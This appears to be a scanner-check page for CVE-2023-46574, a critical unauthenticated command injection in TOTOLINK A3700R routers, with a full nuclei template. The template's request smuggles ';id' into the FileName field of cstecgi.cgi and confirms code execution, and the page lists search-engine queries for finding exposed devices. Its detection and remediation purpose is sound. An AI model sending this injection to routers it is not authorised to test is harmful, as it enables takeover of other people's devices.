TOTOLINK A3700R - Command Injection

criticalseverity

9.8CVSS score

65.3%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

An issue in TOTOLINK A3700R v.9.1.2u.6165_20211012 allows a remote attacker to execute arbitrary code via the FileName parameter of the UploadFirmwareFile function.

Impact

Unauthenticated attackers can execute arbitrary commands on the router, potentially gaining full device control and compromising network security.

Fix

Update TOTOLINK A3700R firmware to a version newer than 9.1.2u.6165_20211012.

How to confirm it

Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains(body, "<title>TOTOLINK</title>")
Send: GET /cgi-bin/cstecgi.cgi
Positive when: matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-46574 -u <target>

The full check

id: CVE-2023-46574

info:
  name: TOTOLINK A3700R - Command Injection
  author: DhiyaneshDk
  severity: critical
  description: |
    An issue in TOTOLINK A3700R v.9.1.2u.6165_20211012 allows a remote attacker to execute arbitrary code via the FileName parameter of the UploadFirmwareFile function.
  impact: |
    Unauthenticated attackers can execute arbitrary commands on the router, potentially gaining full device control and compromising network security.
  remediation: |
    Update TOTOLINK A3700R firmware to a version newer than 9.1.2u.6165_20211012.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-46574
    - https://github.com/OraclePi/repo/blob/main/totolink%20A3700R/1/A3700R%20%20V9.1.2u.6165_20211012%20vuln.md
    - https://github.com/Marco-zcl/POC
    - https://github.com/d4n-sec/d4n-sec.github.io
    - https://github.com/wy876/POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-46574
    cwe-id: CWE-77
    epss-score: 0.65324
    epss-percentile: 0.99263
    cpe: cpe:2.3:o:totolink:a3700r_firmware:9.1.2u.6165_20211012:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: totolink
    product: a3700r_firmware
    shodan-query:
      - title:"Totolink"
      - http.title:"totolink"
    fofa-query: title="totolink"
    google-query: intitle:"totolink"
  tags: cve,cve2023,totolink,router,iot,rce,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<title>TOTOLINK</title>")'
        condition: and

  - raw:
      - |
        GET /cgi-bin/cstecgi.cgi HTTP/1.1
        Host: {{Hostname}}

        {"topicurl":"UploadFirmwareFile","FileName":";id"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+) groups=([0-9(a-z)]+)"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from